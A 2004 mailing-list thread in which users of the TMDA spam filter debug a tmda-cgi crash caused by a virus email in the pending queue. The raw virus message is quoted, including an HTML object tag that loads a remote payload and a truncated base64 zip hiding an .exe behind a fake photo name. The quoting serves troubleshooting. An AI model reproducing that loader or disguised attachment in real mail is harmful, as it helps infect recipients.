The problem appears to be a virus.
The virus message itself causes tmda-cgi to crash on viewing it in pending.
If the message is released for any reason the smtp python module crashes when attempting to deliver the message.
My temporary solution was to comment out the "Header continuation line" in Parser.py.
This allows tmda-cgi pending to be opened and viewed but if the message is attempted to be released the smtp module in python itself dumps (therefore preventing the message from being delivered).
My long term goal will be getting the DAT files to stop the virus to begin with ([EMAIL PROTECTED]) and to get tmda to not die on such a message.
This is an ugly solution so ideas will be appreciated.
Sam <http://vil.nai.com/vil/content/v_100983.htm> Sam wrote:
After looking at this error is it safe to say the problem lies in TMDA/pythonlib/email/Parser.py ?
Looking through the code this seems to maybe be the source of the trouble?
BTW. You can easily create the "crash" of tmda-cgi by copying the below message into a msg file in your pending queue.
I am not a python programmer at all so am having trouble identifying why this is a problem...
if line[0] in ' \t':
if not lastheader:
raise Errors.HeaderParseError(
'Continuation line seen before first header')
lastvalue.append(line)
continue
Sam wrote:
I keep getting this problem, and it is the same type of message. I have another below if someone has any ideas.
BTW. I am using tmda-cgi version 0.11 and tmda version 1.0
################################################
Return-Path: <[EMAIL PROTECTED]>
Delivered-To: [EMAIL PROTECTED]
Received: (qmail 56978 invoked from network); 26 Jan 2004 15:47:30 -0500
Received: from unknown (HELO mx1.domain.com) (65.110.96.76)
by mail.domain.com with SMTP; 26 Jan 2004 15:47:30 -0500
Received: (qmail 52504 invoked by uid 85); 26 Jan 2004 20:47:30 -0000
Received: from [EMAIL PROTECTED] by mx1.domain.com by uid 82 with MX1-Antivirus-AntiSpam
Received: from unknown (HELO localhost) (65.110.102.142)
by mx1.domain.com with SMTP; 26 Jan 2004 20:47:11 -0000
From: "Elene" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Subject: Important information for you. Read it immediately !
MIME-Version: 1.0
Content-Type: multipart/mixed;boundary="xxxx"
X-MX1-WestPA-AntiVirus-AntiSpam-Message-ID: <[EMAIL PROTECTED]>
X-TMDA-Action: CONFIRM action_incoming
X-TMDA-Recipient: [EMAIL PROTECTED]
--xxxx Content-Type: text/html; Content-Transfer-Encoding: 7bit
<FONT color=red size=15><CENTER>Hi !</CENTER></FONT><BR>
Here is my photo, that you asked for yesterday.<BR><object data=http://[EMAIL PROTECTED]/load.php$
--xxxx name="accounts.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="myphoto.zip"
UEsDBAoAAAAAAFZ2ai+6480f1jgAANY4AABHAAAAbXlwaG90by5q
cGcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIC5leGVNWlAAAgAAAAQADwBQRQAA
TAECAEZTRyEAAAAAAAAAAOAAjoELAQAAAD4AAAAcAAAAAAAAvMUA
AAAQAAAMAAAAAABAAAAQAAAAAgAAAQAAAAAAAAADAAoAAAAAAADQ
#########################################################################
Samuel Hill wrote:
When using tmda-cgi and the following spam message is in pending queue tmda-cgi will dump. The python error message is below the email message. I edited the email address.
Any ideas on how to prevent it?
When the following type of spam message appears in the tmda queue
tmda-cgi can no longer open the pending queue (and therefore displays an
error once the user logs in).
Here is the message (between the #### marks)...
########################################################################
##
### Email Message that causes the "crash" ###
########################################################################
##
Return-Path: <[EMAIL PROTECTED]>
Delivered-To: [EMAIL PROTECTED]
Received: (qmail 82926 invoked from network); 26 Jan 2004 10:03:28 -0500
Received: from unknown (HELO mx2.Mydomain.com) (65.110.96.77)
by mail.mydomain.com with SMTP; 26 Jan 2004 10:03:28 -0500
Received: (qmail 81990 invoked by uid 85); 26 Jan 2004 15:03:28 -0000
Received: from [EMAIL PROTECTED] by mx2.mydomain.com by uid 82 with
MX2-Antivirus-AntiSpam
Received: from unknown (HELO localhost) (24.3.61.228)
by mx2.mydomain.com with SMTP; 26 Jan 2004 15:03:19 -0000
From: "Elene" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
MIME-Version: 1.0
Content-Type: multipart/mixed;boundary="xxxx"
X-MX2-WestPA-AntiVirus-AntiSpam-Message-ID:
<[EMAIL PROTECTED]>
X-Spam-Status: Yes, hits=8.9 required=5.0
tests=DATE_MISSING,HTML_10_20,HTML_EMBEDS,HTML_FONT_COLOR_RED,
HTML_MESSAGE,HTTP_EXCESSIVE_ESCAPES,HTTP_USERNAME_USED,
MIME_HTML_NO_CHARSET,MIME_HTML_ONLY,MIME_MISSING_BOUNDARY,
MSGID_HAS_NO_AT,UPPERCASE_25_50,USERPASS
version=2.53
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)
X-Spam-Report: ---- Start SpamAssassin results
8.90 points, 5 required;
* 1.4 -- Missing Date: header
* 0.1 -- Message-Id has no @ sign
* 0.0 -- BODY: HTML with embedded plugin object
* 0.1 -- BODY: HTML font color is red
* 1.0 -- BODY: Message is 10% to 20% HTML
* 0.2 -- BODY: HTML included in message
* 0.7 -- RAW: Message text in HTML without specified charset
* 0.5 -- RAW: MIME section missing boundary
* 0.9 -- URI: Uses a username in a URL
* 1.1 -- URI: Completely unnecessary %-escapes inside a URL
* 1.2 -- URI: URL contains username and (optional) password
* 0.1 -- Message only has text/html MIME parts
* 1.6 -- message body is 25-50% uppercase
---- End of SpamAssassin results
X-Spam-Flag: YES
Subject: !! Important information for you. Read it immediately !
X-TMDA-Action: CONFIRM action_incoming
X-TMDA-Recipient: [EMAIL PROTECTED]
--xxxx Content-Type: text/html; Content-Transfer-Encoding: 7bit
<FONT color=red size=15><CENTER>Hi !</CENTER></FONT><BR>
Here is my photo, that you asked for yesterday.<BR><object
data=http://[EMAIL PROTECTED]/load.php
WIDTH=1 HEIGHT=1></iframe> --xxxx name="accounts.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="myphoto.zip"
########################################################################
##
### Python Error Message ###
########################################################################
##
HeaderParseError Python 2.2.3: /usr/local/bin/python2.2 Mon Jan 26 16:32:05 2004
A problem occurred in a Python script. Here is the sequence of function calls leading up to the error, in the order they occurred.
/usr/local/tmda/cgi/tmda-cgi.py 175 elif Cmd == "pending": 176 import PendList 177 Call(PendList) 178 elif Cmd == "restore": 179 pass Call = <function Call>, PendList = <module 'PendList' from 'PendList.py'>
/usr/local/tmda/cgi/tmda-cgi.py in Call(Library=<module 'PendList' from 'PendList.py'>, Str=None) 73 Library.Show(Str) 74 else: 75 Library.Show() 76 77 # Capture WebUID Library = <module 'PendList' from 'PendList.py'>, Library.Show = <function Show>
/usr/local/tmda/cgi/PendList.py in Show() 364 # Print a single message record inside list loop 365 try: 366 MsgObj = Pending.Message(Msg) 367 except (IOError, Errors.MessageError), ErrStr: 368 continue MsgObj = <TMDA.Pending.Message instance>, global Pending = <module 'TMDA.Pending' from '/usr/local/tmda/TMDA/Pending.py'>, Pending.Message = <class TMDA.Pending.Message>, Msg = '1075128521.64912.msg'
/usr/local/tmda/TMDA/Pending.py in __init__(self=<TMDA.Pending.Message
instance>, msgid='1075128521.64912.msg', recipient=None)
423 raise Errors.MessageError, '%s not found!' %
self.msgid
424 try:
425 self.msgobj =
email.message_from_file(open(self.msgfile, 'r'))
426 except email.Errors.BoundaryError:
427 self.msgobj = Util.msg_from_file(open(self.msgfile,
'r'))
self = <TMDA.Pending.Message instance>, self.msgobj undefined, global
email = <module 'email' from
'/usr/local/tmda/TMDA/pythonlib/email/__init__.pyc'>,
email.message_from_file = <function message_from_file>, open undefined,
self.msgfile =
'/var/qmail/vpopmail/domains/mydomain.com/I/somebody/.tmda/pending/10751
28521.64912.msg'
/usr/local/tmda/TMDA/pythonlib/email/__init__.py in
message_from_file(fp=<open file
'/var/qmail/vpopmail/domains/westpa.n...ha/.tmda/pending/1075128521.6491
2.msg', mode 'r'>, _class=<class email.Message.Message>, strict=0)
61 from email.Message import Message
62 _class = Message
63 return Parser(_class, strict=strict).parse(fp)
64 65 Parser = <class email.Parser.Parser>, _class = <class
email.Message.Message>, strict = 0, ).parse undefined, fp = <open file
'/var/qmail/vpopmail/domains/westpa.n...ha/.tmda/pending/1075128521.6491
2.msg', mode 'r'>
/usr/local/tmda/TMDA/pythonlib/email/Parser.py in
parse(self=<email.Parser.Parser instance>, fp=<open file
'/var/qmail/vpopmail/domains/westpa.n...ha/.tmda/pending/1075128521.6491
2.msg', mode 'r'>, headersonly=0)
62 firstbodyline = self._parseheaders(root, fp)
63 if not headersonly:
64 self._parsebody(root, fp, firstbodyline)
65 return root
66 self = <email.Parser.Parser instance>, self._parsebody = <bound method
Parser._parsebody of <email.Parser.Parser instance>>, root =
<email.Message.Message instance>, fp = <open file
'/var/qmail/vpopmail/domains/westpa.n...ha/.tmda/pending/1075128521.6491
2.msg', mode 'r'>, firstbodyline = None
/usr/local/tmda/TMDA/pythonlib/email/Parser.py in
_parsebody(self=<email.Parser.Parser instance>,
container=<email.Message.Message instance>, fp=<open file
'/var/qmail/vpopmail/domains/westpa.n...ha/.tmda/pending/1075128521.6491
2.msg', mode 'r'>, firstbodyline=None)
237 msgobj.set_payload(part)
238 else:
239 msgobj = self.parsestr(part)
240 container.preamble = preamble
241 container.epilogue = epilogue
msgobj = <email.Message.Message instance>, self = <email.Parser.Parser
instance>, self.parsestr = <bound method Parser.parsestr of
<email.Parser.Parser instance>>, part = '
name="accounts.zip"\nContent-Transfer-Enco...gICAgIC5leGVQSwUGAAAAAAEAAQ
B1\nAAAAOzkAAAAAAADY\n\n\n'
/usr/local/tmda/TMDA/pythonlib/email/Parser.py in
parsestr(self=<email.Parser.Parser instance>, text='
name="accounts.zip"\nContent-Transfer-Enco...gICAgIC5leGVQSwUGAAAAAAEAAQ
B1\nAAAAOzkAAAAAAADY\n\n\n', headersonly=0)
73 the file.
74 """
75 return self.parse(StringIO(text), headersonly=headersonly)
76 77 def _parseheaders(self, container, fp):
self = <email.Parser.Parser instance>, self.parse = <bound method
Parser.parse of <email.Parser.Parser instance>>, global StringIO =
<built-in function StringIO>, text = '
name="accounts.zip"\nContent-Transfer-Enco...gICAgIC5leGVQSwUGAAAAAAEAAQ
B1\nAAAAOzkAAAAAAADY\n\n\n', headersonly = 0
/usr/local/tmda/TMDA/pythonlib/email/Parser.py in parse(self=<email.Parser.Parser instance>, fp=<cStringIO.StringI object>, headersonly=0) 60 """ 61 root = self._class() 62 firstbodyline = self._parseheaders(root, fp) 63 if not headersonly: 64 self._parsebody(root, fp, firstbodyline) firstbodyline undefined, self = <email.Parser.Parser instance>, self._parseheaders = <bound method Parser._parseheaders of <email.Parser.Parser instance>>, root = <email.Message.Message instance>, fp = <cStringIO.StringI object>
/usr/local/tmda/TMDA/pythonlib/email/Parser.py in _parseheaders(self=<email.Parser.Parser instance>, container=<email.Message.Message instance>, fp=<cStringIO.StringI object>) 109 if line[0] in ' \t': 110 if not lastheader: 111 raise Errors.HeaderParseError( 112 'Continuation line seen before first header') 113 lastvalue.append(line) global Errors = <module 'email.Errors' from '/usr/local/tmda/TMDA/pythonlib/email/Errors.py'>, Errors.HeaderParseError = <class email.Errors.HeaderParseError>
HeaderParseError: Continuation line seen before first header __doc__ = 'Error while parsing headers.' __getitem__ = <bound method HeaderParseError.__getitem__ of <email.Errors.HeaderParseError instance>> __init__ = <bound method HeaderParseError.__init__ of <email.Errors.HeaderParseError instance>> __module__ = 'email.Errors' __str__ = <bound method HeaderParseError.__str__ of <email.Errors.HeaderParseError instance>> args = ('Continuation line seen before first header',)
########################################################################
##
_____________________________________________ tmda-users mailing list ([EMAIL PROTECTED]) http://tmda.net/lists/listinfo/tmda-users
_____________________________________________ tmda-users mailing list ([EMAIL PROTECTED]) http://tmda.net/lists/listinfo/tmda-users
